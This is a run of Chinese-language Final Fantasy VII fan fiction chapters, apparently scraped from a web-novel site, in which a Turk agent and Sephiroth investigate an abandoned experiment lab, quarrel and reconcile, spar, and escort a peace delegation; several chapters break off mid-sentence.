“想要进银发精英俱乐部需要答题考核,可是最后一题我们都不会。”扎克斯低头发了一封邮件给希森,一双湛蓝的眼睛带着无法拒绝的恳请看着她,“如果是塔克斯的话,一定知道答案吧,拜托了!” 年 13. 第 13 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 萨菲罗斯是一位完美的队友。 强大、可靠、温柔且有责任心,具备你所能想象到的一切美好品质。遇到危险时他会第一时间挡在所有人面前,即便自身的实力和其他人有断层式的差距,也总是优先顾及其他人的情况。 任务目标的军事基地位于深山当中,唯一能够出入的道路非常崎岖,时不时还会遭受魔兽的袭击。路途的颠簸外加长期紧绷的精神导致随行的3rd出现了严重的晕车情况,萨菲罗斯决定让其他人留在安全的地方进行休整,自己和担任向导职责的希森先去探路。 自从开始练习共鸣能力后,希森感觉自己的体能和反应速度似乎比以前提升了不少,恢复速度也更快了。虽然比不上1st,但互相配合还是没问题的。 “如果需要休息就告诉我,时间很充足。”萨菲罗斯语调温和,“过量使用回复剂对身体有害。” “如果我走不动的话怎么办,萨菲罗斯会把我背回去吗?” 这很明显是一句玩笑话。但他认真地回答了:“不用,单手就能抱起来。” ……她又被小瞧了。但好像确实是这样,上次对方就是单手抱着自己跳下了神罗大楼。 虽然萨菲罗斯有意照顾她的速度,但两人还是很快来到了军事基地的入口。情报显示这座建筑已经被五台废弃,但内部存在着大量未知的魔兽。 “我可以破解大门的密码,但是需要一点时间,如果你有更好的办法——” 银发的特种兵执刀抬手,银色的寒光卷起凛冽的寒风一闪而过。他似乎只是轻轻一划,足足有半米厚的承重门便如同柔软的豆腐一样轰然倒塌。 “当我没说。”希森向他竖起大拇指。 不愧是超级大缅因,拆家能力也是顶级的——当然拆的是对面老家。 和萨菲罗斯一起执行任务就像是在散步,所有威胁在最强的神罗战士面前都不值一提。希森甚至不需要拿出武器,因为他在自己反应过来之前就已经把障碍和敌人清扫一空。 “萨菲罗斯,路被堵住了——” 银发的1st转动手腕,墙壁一分为二。 “萨菲罗斯,那边的魔兽群——” 银发的1st身形一闪,眨眼间便出现在另一头,成群的魔兽齐齐断成两截。 “萨菲罗斯,打这里!”希森感觉自己解锁了什么新玩法,“地图显示后面有一处被隐藏的区域。” 敢这么理直气壮地指挥神罗英雄做事,整个米德加可能找不出第二个人。 伴随利刃的破空之声,无数巨型的培养器皿出现在断裂的墙壁后,早已停止运行的仪器闪烁着冰冷阴森的光。这是一所被废弃的实验室,大部分培养罐已经被不知名的力量毁坏,剩下满地碎玻璃与干涸的不明液体,破碎的实验台和满地凌乱的文件暗示着这里曾经发生过惨烈的事故。电源早已断开,唯一的光源是尽头一个巨大的魔晄池。 希森终于知道基地里的那些魔兽是怎么来的了,她这是拿到了浣熊市的剧本。 “……他们在这里做人体实验,外面那些魔兽原本都是人类,他们被植入了不同的基因。”她捡起地上的文件,只觉得一阵反胃,“后来实验体出现了变异和失控的情况,导致整个基地被入侵。” “自作自受。”萨菲罗斯连头也没回,反手斩杀一只试图偷袭的魔兽。他很少暴露自己的情绪,希森头一次在他的声音里听出了轻微的厌恶。 越往后看,希森越感到心寒:“这些人本来还有救,但实验室觉得成本太高,于是放弃了这个项目,任由他们彻底变成没有理智的魔兽。” “……即便被救回来,这个社会也不会再有他们的容身之地。”银发的特种兵看向一旁的培养罐,语气微冷,“怪物不会被人类接纳。” 气氛变得沉重且压抑,希森回过头。丝绸般的银白长发挡住了萨菲罗斯的侧脸,只透露出些许如大理石雕塑般完美的五官轮廓,矗立在黑暗中的特种兵如同一件凝固的艺术品。她看不清对方的神情,也看不透对方的想法。 “是啊,怪物不会被人类接纳……但它本来就与众不同,可以选择自己想要成为什么,并不需要人类的认可。” 说完后她没有等萨菲罗斯回答,又笑了笑:“不过我们还是先担心自己吧,这次的任务看起来没有表面上那么简单呢。我先过去那边调查。” 整个实验室的设备遭到了损坏,唯独魔晄池旁边有一台完好的电脑,希森开始解密里面的文件并上传回总部。她总感觉这个任务有些不对劲,这一路上获得线索的过程太过顺利,明明实验室已经被废弃却留下满地的文件和线索,而且这些设备和手法也根本不像是五台所为。 “萨菲罗斯,这里根本不是五台的军事基地。”她看着被解密的文件里那个熟悉的菱形标志,“这里是神罗的实验室,他们用五台的士兵和平民做实验——” 所以资料全部被保留下来,所以神罗特意派出最强的1st特种兵和有相关经验的塔克斯,这都是为了确保在不泄露真相的情况下回收实验数据。 “希森,退后!”萨菲罗斯忽然打断了她的话。 银发的1st向来不会有太明显的情绪,但这次的语气里却分明透出掩饰不住的急切和担忧。 希森的注意力全部集中在眼前的真相上,以至于没有及时注意到周围的动静。而如此高浓度的液态魔晄本来能够融化一切生物,因此他们并没有发现荧绿的液体下还藏着最后一只魔兽。 已经被魔晄腐蚀到可以见到骨骼的扭曲生物从水中一跃而起,眨眼间便扑到希森面前,腥臭腐败的气息令人作呕,锋利的前爪只差一点就能割破颈部柔软的肌肤。 人类的求生本能会促使自身在危急情况下先大脑一步做出应对,希森几乎是条件反射地抬起手唤出无节制的魔力,而下一秒银发的身影也闪现在空中。 魔晶石的光芒和凛冽的剑光在同一时间绽放。魔兽停顿了半秒,随后那颗腐烂 14. 第 14 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 返回的路格外漫长,两个人都没有再开口说话。萨菲罗斯神色如常,始终和她保持着相近的速度,与其说是在照顾她的体力,更像是在防止她逃走。 希森没见过萨菲罗斯生气的模样,也就无法判断他此刻的真实情绪。但换做是她自己遇到这种情况,肯定也会感到愤怒和怀疑。萨菲罗斯确实是她遇见过的脾气最好的人,哪怕是这种情况下也能克制住自己,第一时间是关心她的伤势,而不是把她劈成两半,甚至连一句重话都没对她说过。 这么一看,她确实很过分。 这件事以后再说——就是不会这么过去,他还会追究的意思。希森抱着几分希冀地想,那就代表他还会来找自己,对吧?哪怕他对自己生气,也好过他再也不理自己。 虽然表面上看不出任何异常,但希森的大脑其实处于混乱和迟钝的状态,以至于车子停下时都没能反应过来。直到车厢内里只剩下她和银发的特种兵后才终于回过神,有些茫然地抬起头。 要不要主动开口问他?还是直接离开? 希森在下车时迟疑了片刻。萨菲罗斯如同雕塑一般的身影忽然动了,悄无声息地跟了上来,像猫一样安静地和她并排往回走。 “你好像并不担心我会上报这件事。” 她转过头,有些惊讶地发现萨菲罗斯确实在对自己说话。 “因为是萨菲罗斯,所以不害怕。” 尽管萨菲罗斯是特种兵的指挥官,神罗的1st,按照常理和职责都有责任上报异常情况。但希森还真的没担心过这件事,或者说从来没有往这方面想过。 “你以后最好小心一点。” 银发的特种兵语气平淡,随着其他士兵一起消失在门后。 希森站在原地,有种把猫弄丢了的感觉。 …… [μ]-εγλ1999,神罗和五台的战争进入白热化,整个米德加都在播报即日的战况。作为神罗最强大的军事武器,萨菲罗斯几乎是长期驻守在前线,成为人们心中的精神支柱和神话传说。 萨菲罗斯并没有上报她的能力,任务顺利完成,神罗派出战斗机把自己的罪证夷为平地,仿佛一切都没有发生过。 他没有再过问那天发生的事,似乎决定就这样让它过去。神罗的英雄辗转于各个战场,在战况彻底稳定下来之前都不能离开。希森每天都能收到他的无数情报,唯独无法再见到他本人。 生活依旧在继续,好像和以前没有什么不同,但已经发生过的事情无法被抹去。 如果猫生气了,应该怎么哄回去? 雷诺在群里秒回一个问号。 西斯内:你在谁那里受委屈了? 希森:是我的问题,我做错事了。 鲁德:谁会对你生气?连曾都没有真的对你生气过。 雷诺:说来听听,我看看我们能不能帮你解决一下这个人。 雷诺:不对,我是说这件事。 散弹枪:让你不开心肯定是对方的错,这个人没有存在的必要了。 希森:……是位1st。 群聊突然陷入了沉默。 过了好一会儿,雷诺才再次冒出头:我得说,那可能真的是你的问题。 鲁德:+1 散弹枪:+2 西斯内:你能活着回来真是太好了。 希森:我错了,帮我想想办法吧爸爸妈妈们TT 西斯内:你有没有什么没完成的心愿?我们会尽力帮忙的。 散弹枪:你现在逃还来得及,就算是面对1st,我们也不会出卖你。 雷诺:除非他把两米的刀架在我脖子上。 希森:不是,哥们…… 鲁德:其实我们有一个秘密一直没告诉你,现在是时候说了。 西斯内:你记不记得你的剑在几年前的任务里毁掉了,你伤心了很久,也不愿意更换武器。后来我们找曾帮你想办法修好了。 雷诺:其实那把剑彻底坏掉了,我们收集材料重新做了一把一模一样的,然后告诉你修好了。 散弹枪:对不起,我们骗了你。 希森:其实我早就发现了。之前聚会雷诺喝醉酒把什么都说了,包括光头俱乐部和你们偷吃了我放在茶水间冰箱的小蛋糕。 鲁德:搭档你过来一下,我们准备了惊喜在总部等你。 ……她终于能体会到曾平时的感受了,这么多人就没一个是省心的。还好西斯内最后认真地建议她去找萨菲罗斯的好友咨询一下。 自从上次向杰内西斯学习魔晶石的战斗技巧后,她偶尔会向对方问好或者询问战斗方面的问题。这位性情古怪的1st绝大多数时间都是已读不回,剩下几次则是单方面向她分享《LOVSLESS》的各种资讯,很像那种不顾别人死活非要卖安利的朋友。 她拨通了对方的电话:“杰内西斯,你和萨菲罗斯闹过矛盾吗?” 对面传来一声冷笑:“笑话,我怎么可能和他闹矛盾。” “你在说气话,我不信。” “你到底想干什么?” “我有个朋友想问问如果他生气了该怎么办?” “……”杰内西斯沉默了。 第二天,杰内西斯给她寄来了一本限量典藏版的《LOVELESS》实体书,告诉她一切的真理和答案自然蕴藏在诗篇当中。 希森面无表情地把书压到了箱底。 九月末尾,爱丽丝留言告诉她旧教堂里的花全部开了,邀请她和扎克斯有空过去看看。爱丽丝还开玩笑说就算现在有人从圆盘上层掉进去,也不会受伤,因为花朵实在是太多太厚。 前线的战况已经趋于稳定,重新夺回主动权的神罗召回长期在外征战的1st进行休整。收到消息的时候希森正好在格拉斯兰执行任务,回到米德加时已经是三天之后。 萨菲罗斯在回总部进行汇报之后就再也没有出现过,雷诺说他拒绝了公司安排的活动和会议,让拉扎德十分头疼。银发的1st明显心情不太好,如果他不想见人,那无论在哪里都没机会遇到他。 希森考虑了一下直接去猫窝里把猫翻出来的可能性,最终还是决定不要在对方的雷点上蹦迪了。他有一把两米长的 15. 第 15 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 安吉尔飞快地解决了自己面前的午餐,拉着杰内西斯说要去给另外两人拿水果和点心。希森用餐的速度没有特种兵快也就算了,萨菲罗斯面前的海鲜意面居然也还剩下一半,一阵令人窒息的沉默笼罩在他们之上,整个世界只剩下餐具碰撞发出的微弱声响。 这顿饭吃得十分焦灼,希森味同嚼蜡。安吉尔和杰内西斯离开的时间未免有点太久了,她正想借口去找人,对面的银发1st便慢条斯理地放下餐具,终于开口说了见面以来的第一句话。 “你和杰内西斯的关系看起来不错。” 萨菲罗斯的声音很平静,语气也听不出喜怒,好像只是平常地了解自己的好友。 银发的1st从见面开始就一直保持沉默,希森还以为他不打算和自己说话了,闻言愣了一下:“还好?之前和他一起执行过任务。” 碧绿的竖瞳锁定在她身上,萨菲罗斯的语气隐约带上了几分在军队时的严厉,“军用干粮没有那么多选择,执行任务时如果他不在,你就不吃吗。” 他这是生气了吗?因为她挑食的习惯影响到了他的好友? “……我的队友一般都愿意跟我换。”希森像犯了错的士兵一样老老实实地回答,“如果没有的话我就少吃一点。” 塔克斯的成员都知道她的习惯,总是会把她喜欢的味道留给她,曾总是说大家对她太过纵容。放在军队里面当然不可能出现这种情况,作为特种兵指挥官的1st看不下去也很正常。 萨菲罗斯似乎很轻地笑了一声,但碧绿的竖瞳中没有任何笑意,这让他身上那种天然的压迫感愈发强烈。 “看来塔克斯的标准比我想象中的要宽容。” ……好强的攻击性!好标准的阴阳怪气!连带整个部门都被嘲讽了! 希森有些不知所措地看着他。萨菲罗斯是个心思细腻的人,但有时候对她来说有些太过细腻了,导致她完全不知道对方为什么生气,自己又是在哪个地方做错了。 安吉尔你在哪里?快回来救救她啊! “那……抱歉?我会改的。”她不知道应该怎么回应,只好硬着头皮道歉。 尽管是在神罗大楼,萨菲罗斯出现在这种公众场合的情况还是非常罕见的。其他人碍于他的身份和气场都不敢上前打扰,但一位3rd在路过的时候因为注意力被分散而绊了一下,打翻了餐盘上的调料瓶。 一阵淡淡的酸味弥漫开来,那个瓶子里大概装的是醋。那位可怜的士兵慌忙朝周边的人道歉,然后手忙脚乱地收拾残局。 两人的对话被这个小插曲打断,又恢复到最初那种凝固的沉默。还好这一次安吉尔和杰内西斯终于出现,不仅及时拯救了摇摇欲坠的气氛,而且还带来了黑森林水果蛋糕。 希森本来已经想好了提前离开的借口,但在看到小蛋糕的那一刻又马上倒戈了。安吉尔给每个人都拿了一份,萨菲罗斯很显然对甜食不感兴趣,只喝了一点白开水。 希森在内心艰难地挣扎了一会儿,最终还是鼓起勇气:“如果你不吃那个小蛋糕的话,可以给我吗?” 杰内西斯看起来很想笑,但安吉尔向他投去了警告的目光。 萨菲罗斯抬起眼帘,碧绿的竖瞳如同清冷而又美丽的宝石。他无言地伸出手,把自己的甜点全部放到了她的面前。 不算太平静的午餐过后,他们在电梯门口遇到了拉扎德。这位脸色憔悴的特种兵主管似乎已经在这里等待了很久,看了看萨菲罗斯,又看了看希森,委婉地问:“抱歉,我是不是打扰到你们的……跨部门团建了?” “没有没有,我刚好到时间回去上班了,你们慢慢聊。”几乎是在希森说出这句话的下一秒,拉扎德脸上就浮现出如释重负的神色,向她投来感激的目光。 猫是一种性格古怪的生物,它们生气的时候并不会表达出原因;虽然表面看起来和平时差不多,但会在你过来的时候轻轻咬你一口。没能把猫哄好,还被咬了一口的希森满头雾水地回到办公室,开始思考自己是不是真的被讨厌了。 雷诺拿着两杯果茶靠在她的办公桌上:“我得说,你就不能找个打得过的吗?现在这个好是好,但以后他要是欺负你怎么办,我们所有人加起来都帮不了你。你不能只看脸和身材。” 希森义正言辞:“以萨菲罗斯的人品绝对不会发生这种事情,我欺负他还差不多。” “再爱就不礼貌了。”雷诺摇了摇头,“实在不行换一个也可以,我看他朋友挺不错,我们红头发的人都是很有品位的。” “.……?” 希森把他的那杯果茶冻成了冰。 自从那顿不太愉快的午餐过后,银发的1st没有再出现。希森原本以为这是一种委婉的拒绝,但几天后杰内西斯出现在了她下班的必经之路上。 “你们两个到底怎么了?”红发的青年说完又马上补充,“是安吉尔让我来问的。” “1st不是很忙吗?” “我们也有休假时间的,魔晶石小姐。”杰内西斯语气慵懒,“你现在有空吗?” “……你带我来特种兵的训练室干什么?”十五分钟后,希森警惕地看着杰内西斯递过来的全息装备,“想替萨菲罗斯出气也不至于这样吧,我只是个脆弱的塔克斯。” 杰内西斯瞥了她一眼:“你之前不是发信息给问我怎么把魔法和武器结合吗,现在教你。” “我还以为你是想找我问萨菲罗斯的事情。” “我问了你就会告诉我?”杰内西斯举起长剑,漫不经心地笑了一声,“女神开弓——我只演示一遍,你看清楚了。” 神罗的技术处于这个世界的顶尖水平,训练室模拟出的实战情景无论是在视觉、听觉还是触觉上都与真实无异,能让使用者全身心投入其中。 绚丽的魔法在凛冽的剑气 16. 第 16 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 萨菲罗斯停下脚步,侧过头看着她,碧绿的竖瞳因为惊讶而微微收缩。以特种兵的反应和速度,他完全可以轻松避开,让对方连发丝都碰不到。希森不知道是他从来没想到有人会这么做,还是故意不避开。 萨菲罗斯还拿着正宗,但她没有松手。 “萨菲罗斯,你是不是生气了?因为我对你隐瞒了自己的身份。” 银发的特种兵没有回答,也没有挣脱她的手。 于是她的胆子更大了一些:“你不要不理我。” “......我没有不理你。“萨菲罗斯低头看着她,似乎在整理措辞,”实验室的事情,我很抱歉。” 希森眨了眨眼,不知道他为什么突然道歉。 “是我疏忽了,没有注意到魔晄池下的危险。如果不是你用能力阻挡了魔兽,那种情况下——” 他没有把话说完。 “这不是你的错,我当时分心了。“希森差点忘记了,神罗的英雄是那种会因为自己无法拯救所有生命而自责的人,“你不需要把责任都揽到自己身上,无所不能的英雄只是神罗强加在你身上的身份,你已经尽力了。” “你不一样。”萨菲罗斯安静地注视着她,“无论我是不是英雄,如果没能救下你,我都不会原谅自己。” ——到底是谁说萨菲罗斯不会和朋友相处的,他明明就什么都会。希森深吸了一口气,在内心默默地尖叫,他知道自己这一张脸配上这句话的杀伤力有多大吗?但凡她没有治疗系魔晶石的能力,今晚就要躺进医疗室了。 “我现在有能力保护好自己,不会再让萨菲罗斯担心的。”她抬起头,“所以你不生我的气了?” “希森,”萨菲罗斯第一次用这么认真的语气念出她的名字,就像那是什么神圣而又危险的咒语,“无论你的身份是什么,我都不介意。如果不能告诉我,那就不需要说。” 他们之间的距离很近,近得能看清楚那双宝石般的竖瞳里倒映出的皎洁月色,宛如璀璨的光河流淌荡漾。 “我会告诉萨菲罗斯的,也只会告诉萨菲罗斯,只是现在还没准备好。”希森侧过头,“我们现在算是共犯了。那么,以后能不能也不要对我生气?” 碧绿的竖瞳中浮现出几分笑意,但这一次他回答得很谨慎:“看情况。” “别看情况了,”她眨了眨眼,“看我!” “我不会对你生气。”萨菲罗斯弯起唇角,语气里似乎透着几分无奈,“所以,现在可以放开我的头发了吗?” “啊,抱歉。”希森面不改色地松开手,皎洁的长发如同一道银河自她掌心流淌而下。 “那天午餐的时候,是我说得太过了。”萨菲罗斯停顿了片刻,“你是在找杰内西斯教你战斗?” “杰内西斯擅长使用魔法,而且还是你的好朋友,所以我拜托他教我这方面的技巧……怎么了吗?” 萨菲罗斯没有马上回答,他移开了目光:“……没什么。只是突然想起来,你还欠我一个要求。” 是跨年那天晚上的赌约,萨菲罗斯一直没有提,希森还以为他已经忘记了。 “萨菲罗斯想要暗杀谁?”她兴致勃勃地探出头,“还是想要什么情报?全都交给我吧!” 萨菲罗斯侧了侧头,碧绿的竖瞳中带着星点的笑意:“那倒不至于。” “我也可以教你。”他说,“以后,可以找我吗?” 希森愣了一下,又听见他说:“如果你不愿意,拒绝也没关系。” 萨菲罗斯能够拥有的事物很少,所以他在本质上并不是一个喜欢分享的人。正直的英雄也会有自己的私心。 “没有不愿意,我以后只会找你。”她仰起头朝他微笑,“萨菲罗斯,你太高了,我够不到。” 银发的特种兵微微偏过头,神色有些困惑。但他还是非常配合地俯下身,皎白的发丝垂落到她眼前。 ……但他还是很高。 希森踮起脚尖抱住了他,这是一个不太标准的拥抱,因为双方体型和身高差距都太大,她只能勉强环住萨菲罗斯的脖子。好在银发的特种兵下意识地伸手托住她的腰,她才不至于滑落下去。 萨菲罗斯大概从来没有被主动拥抱过,明显地凝固了一瞬。希森靠在他的肩膀上,自然也就无法看见他此刻的表情,只能听见与以往的频率稍有出入的心跳声和轻微到几乎听不见的呼吸声。 “无论以后发生什么,我都会站在萨菲罗斯这边,这是只属于我们的约定。” 肩上忽然一重,她几乎被人抱了起来。笨拙的拥抱得到了回应,银发的1st轻轻靠在她肩头。他的力气很大,好像如果没抓紧的话自己就会马上消失;但他的力度却很克制,环抱着她的肌肉紧绷着,好像她是什么易碎的珍宝。 竭尽全力,却又温柔克制。 她能感受到萨菲罗斯的胸膛微微震动,银白的发丝洒落在颈窝,冰凉而柔软。他的动作里带着某种压抑的情绪,似乎想要说些什么,却不知道如何开口,最终只是轻轻地应了一声。 “嗯。” …… 希森最近似乎经常感受到萨菲罗斯的视线。 自从上次的拥抱以后,虽然萨菲罗斯表面上和以前并没有什么不同,但希森总能时不时感受到他的目光。在基地里训练时,在神罗大厦里隔着玻璃擦肩而过时,在登上直升机前遥遥回望时。无论是在什么情况下,只要他们出现在同一个地方,银发的特种兵总能在人群中第一时间锁定她的身影。 ——像时刻观察着人类的猫。 虽然这些目光转瞬即逝,就像偶然出现的错觉。但如果事后去问萨菲罗斯有没有看到自己,他会很诚实地回答看到了。 她故意发信息问:“在哪里?” 对方过了一会儿才回复:“三点钟方向的雕像。” 明明是塔克斯负责监视他,结果现在反过来了,希森觉得自己的职业生涯遭到了挑战。 坏了,这下真成躲猫猫了。 近几周米德加经常出现暴雨天气,仅仅是回复信息的十几秒期间手机屏幕已经被雨水浸湿,还好塔克斯的 17. 第 17 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 其实要杀死所有实验品并不容易,魔晶石能治疗伤口,却无法免疫那一刻的痛觉。而且身上的西装制服也报废了,浑身上下都沾满了粘稠且难闻的液体。 走下电梯的时候,希森甚至能听到自己急促的心跳声。还好,从宝条的反应来看,她成功装到了。 她换掉浸满血污的西装,来到米德加郊外的废弃训练场,连同拷贝的文件一起烧的一干二净。宝条的问题暂时解决了,至于他背后的人可以慢慢来,反正塔克斯最擅长这种事情。 非常好神罗,使她成为法外狂徒。 熄灭火焰后,那种熟悉的感觉又出现了。希森回过头,银发的特种兵正踏着夜色走入寂静的废墟,他的动作很轻,像长期生活在丛林里的大型狩猎者,即便经过丛生的荒草也没有引发任何响动。 萨菲罗斯特意收敛了周身的气息,俊美的面容半掩在黑暗当中,碧绿的竖瞳宛如两点磷火,很容易让人想起传说中那些拥有惊人美貌的神话生物,诱使所有看到它们的人陷入疯狂。 她有些惊讶:“萨菲罗斯,你怎么来了?” 银发的特种兵侧了侧头,目光扫过地上的余烬,“你没回信息,也不在总部,所以我猜你在这里。” “抱歉,遇到了一点脏东西。”希森这才想起来自己换衣服的时候把手机留下了,她朝对方露出一个开朗的笑容,“已经处理干净了,不用担心。” 他脸上的表情看起来并不相信:“如果遇到麻烦,你可以找我。” 她轻快地小跑过去,想要抓住那抹银白的长发,却被对方轻而易举地躲开了。 “如果我刚刚杀了一个很重要的人,萨菲罗斯也会帮我吗?” “你只需要告诉我怎么做。”萨菲罗斯的语气就像是在讨论今天的晚餐,甚至没问她那个人是谁。 “我还没动手,等我成功了再告诉你。” “或许你可以直接叫上我。” “然后我们一起被神罗通缉,亡命天涯吗?” “听起来不错。” “哇,我好像发现了神罗英雄不为人知的一面。” 希森执着地想要抓住对方的长发,却每次都被精准地避开。萨菲罗斯就像一只不断变成各种形状就是为了不让人摸的猫。 他垂下眼眸:“那不过是神罗的虚假宣传,英雄和怪物没有本质上的区别。” 神罗的战士讴歌他为英雄,被他杀死的敌人指着他的眼睛骂他是冷血的怪物。二者都是他,也都不是他。 “如果你是怪物,那我就是你唯一的同类。”希森掌心燃起一小团火焰,“以后我们想做什么就做什么,再也不用按照别人的意愿而活。” 明亮的火光在碧绿的竖瞳中跳跃,萨菲罗斯低头看着她,带着某种复杂的、难以解读的表情。有那么一瞬间他似乎想做些什么,却又在最后一秒克制住了自己。 “让我摸一下,就一下。” 希森趁他愣神的瞬间再次伸出手,但这一次她的手腕被对方轻轻扣住。冰凉的黑色皮革贴在温热的肌肤上,激起一阵轻微的酥麻,萨菲罗斯仅用一只手便轻松圈起她的双腕。 “你测试过自己能力的上限吗。” 希森没办法再乱动了,只能老老实实地说:“还没有,我猜和我的身体还有精神状况有关。” 萨菲罗斯松开手,指尖的黑色皮革擦过她的掌心,“你不想试试吗?” 希森花了三秒才明白他的意思。这里不是训练室,也没有其他的活物和目标,能“试试”的对象自然只有他一个。 这可不兴试啊,试试就逝世。 “……我打萨菲罗斯?真的假的。”她警惕地抬起头,“不可以用正宗。” 银发的特种兵看了她一眼,不置可否。 她只当对方是默认了:“如果我碰到你的头发,就算我赢。” 他侧了侧头:“可以。” 希森和萨菲罗斯拉开一段距离,她知道就算对方不用正宗,以最强1st和普通人之间的实力差距,想要碰到他也是一件不可能的事。但是她只说了碰到他的头发,没说用什么碰到——可以是肢体,可以是剑,也可以是魔法。 银发的特种兵安静地站在原地,雨后的夜风扬起丝绸般的发丝,宛如一抹皎白的月光。她抬起手毫不犹豫地召唤出一道落雷,耀眼的电流汇聚成炽热的光柱轰然坠下,瞬间淹没了特种兵高大的身影。 四周的草坪和植物在刹那间化为焦炭,这种力量的攻击哪怕是特种兵也难以正面承受。但萨菲罗斯仅仅是微微抬起头,连发丝的弧度都没有变,她甚至没看清对方是什么时候变换了位置。 不过她早就预料到自己无法对他造成威胁,落雷只不过是分散对方注意力的手段。希森接着强光的掩护,从一侧断裂的墙壁绕到萨菲罗斯后方,银发的身影偏过头,上方魔晶石唤出的巨大的火球从空中呼啸而下。 这一次银发的特种兵终于动了——或者说他的身形闪烁了一瞬,只在眨眼间那双碧绿的竖瞳便出现在希森眼前。她能清晰地看见墨色的瞳孔微微放大,大型猫科动物进入了狩猎状态。 魔晶石结界骤然碎裂,即便同为1st,也能直观感受到萨菲罗斯和杰内西斯之间的差距。就算可以无限制使用魔力,超出负荷时也会产生反噬,她被迫后退了好几步,堪堪避开对方的身影。 好在萨菲罗斯并没有步步紧逼,说是陪她测试,就真的只是放任她攻击自己。银发特种兵游刃有余的模样就像是在和猎物玩耍的猫,故意给对方继续逃跑的机会,好让游戏变得更有趣。 霜雪无声地攀上断壁,希森在寒冷的雾气中再次接近对方。萨菲罗斯的身影在原地消失,又出现在半米之外,她扑了个空。银白的长发在战斗时飘逸而柔顺,划出一道优雅的弧 18. 第 18 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 战争快结束了。 所有人都这么说。媒体的宣传,士兵和平民之间的议论,神罗内部的传闻,甚至连塔克斯的情报都坐实了这个说法。五台的军队在战场上节节败退,已经无力抵抗神罗的进攻。为了阻止更多的伤亡和损失,双方高层分别派人进行了第一次协商。 “战争结束之后,你有什么打算吗?”爱丽丝咬着饮料的吸管,俏皮地眨了眨眼,“如果可以的话,我想在米德加开一家花店,让大家随时都能买到鲜花。” “还是会留在神罗吧。”希森仔细想了想,“和以前没有什么不同。” “那你以后一定要来我的花店哦,我每周都会给你留一束花。”爱丽丝唇角弯起一道狡黠的弧度,像魔法一样变出一个包装精致的小盒子,“一个小惊喜,给我最好的朋友!” 盒子里是一对浅金色的耳钉,款式简约大方,剔透的晶体中流淌着属于魔石的光泽。 哪怕是最低品质的魔石,对于爱丽丝来说也并不便宜。希森有些惊讶:“爱丽丝,这个是——” “是我自己亲手做的哦。”爱丽丝似乎猜到了她的想法,“别担心,这并不是真正的魔石,是制作时留下的多余材料,里面只有一点普通魔法。听说只要你呼唤我的名字,不管是在哪里,我都能感受到。” 希望扎克斯不要介意自己多了一个情敌。她在内心默默地想,虽然好兄弟相争一个女孩的剧情很狗血,但爱丽丝实在是太可爱了。 希森本来并没有佩戴耳饰的习惯,但塔克斯在任务中经常会用到一种伪装成耳钉的耳机,久而久之他们就给人留下了这种印象。她把长发别到耳后,毫不犹豫地换上了对方送的耳钉。 “怎么样,是不是很适合?” “和我想象中的一样,金色跟希森很搭呢!”爱丽丝开心地扑到她怀里,褐色的长发卷起一片淡淡的百合花香。 “我很喜欢,以后会一直戴着的。”希森揉了揉少女毛茸茸的脑袋,突然想到了什么,“对了,爱丽丝,可以拜托你教我怎么用魔晶石做饰品吗?” …… 十二月初,和五台的战争暂时停歇,神罗把重点从前线转移到了外交活动和宣传拍摄上面,致力于进一步巩固自己的统治和影响力。特种兵从战争机器变成了政治工具,成为笼络人心和震慑敌方的手段。 作为神罗的英雄,萨菲罗斯更是被物尽其用。总裁要求他出席神罗和五台的军事会议,表面上说是促进双方签订和平协议,实际上就是利用他的身份进行威慑,逼迫五台投降并签署所有不平等条约。 这次任务随行的塔克斯原本是另一支小队,但五台的部分人显然不希望神罗最强的军事力量到场,倾尽最后的力量炸断了大桥。尽管他们最终没能拦住萨菲罗斯,但其他车辆却被困在了悬崖下,剩下的人也因为受伤无法行动。 无论是救援还是绕路都已经来不及,总部只能从塔克斯紧急调遣人员前去支援。能同时担任向导、翻译、司机、刺客、保镖、和情报人员的塔克斯知名六边形战士希森成为了首选。 虽然她没有什么特长,但所有事都会一点,主打一个端水大师均衡发展,技能树向来都是哪里需要点哪里。 手机屏幕忽然亮起,萨菲罗斯几乎是马上就回复了她的信息:“我们在前面找空地停下来等你。” “不用,我马上就到。” 希森收起手机,在直升机的高度下压到极限的那一瞬间一跃而下,伴随着沉重的金属碰撞声稳稳地落在装甲车的车顶。她在高速行驶的车子上稳住身形,熟练地抓住车窗边缘翻进了副驾驶的位置。负责开车的特种兵坎赛尔是她的老搭档了,早就对这种从天而降的行为见怪不怪,甚至贴心地提醒她系好安全带。 她转头透过玻璃看向后方的车厢,正好对上一双带着笑意的碧绿竖瞳。银发的特种兵侧了侧头,朝她弯起唇角。 神罗的效率向来很高,他们赶在会议开始之前到达了目的地,各大媒体和热情的民众早已把现场围得水泄不通。萨菲罗斯的行程本该是保密的,但神罗为了宣传造势,默许了当地政府为他举办的欢迎仪式,再一次把他推到聚光灯下。哪怕是不擅长面对镜头的英雄,在这种情况下也必须履行自己的工作义务,停下脚步供人观望。 “是英雄萨菲罗斯!是他本人!” 车门刚打开,人群便像烧开的水一样沸腾起来。刺眼的闪光灯混杂着此起彼伏的呼喊声,接近失控的场面晃得人头晕目眩。 “萨菲罗斯大人,请您看一眼这边!” 银发的特种兵无奈地侧过头,快门的声音在下一秒响起。 “再来一张,拜托您了!” “还有这边,萨菲罗斯大人——” 各种媒体像嗅到鲜血气味的蚂蝗一样蜂拥而至,挡住了他们前进的道路。英雄应该完美无瑕,满足所有人的期望和要求,所以他只是微不可闻地叹息了一声,安静地站在原地。 希森卷起袖子,在其他人不满的目光中强行挤到萨菲罗斯身前,挡住了相机的镜头。闪光灯亮起,她转头朝那名大胆的记者伸出手:“底片给我。” 那个男人明显地迟疑了片刻,希森面带微笑地重复了一遍:“私自拍摄、保留和发布带有塔克斯成员外貌信息的照片是违法的,但是我猜你并不是故意的,对吧?” 被塔克斯定义为违法意味着什么,在场的所有人都很清楚。于是希森话音刚落,频繁的快门声便马上停息下来。那名摄影师的脸色瞬间变得苍白,老老实实地上交了照片。 无论从哪个角度拍摄,都会不可避免地会拍到寸步不离守在英雄身边的塔克斯少女,即便现在没被发现,后续也无法使用这张照片。失去商机的媒体终于放弃,在坎赛尔的驱逐下让出一条道路。 希森朝身旁的银发特种兵眨了眨眼:“萨菲罗斯大人,我们走吧。” 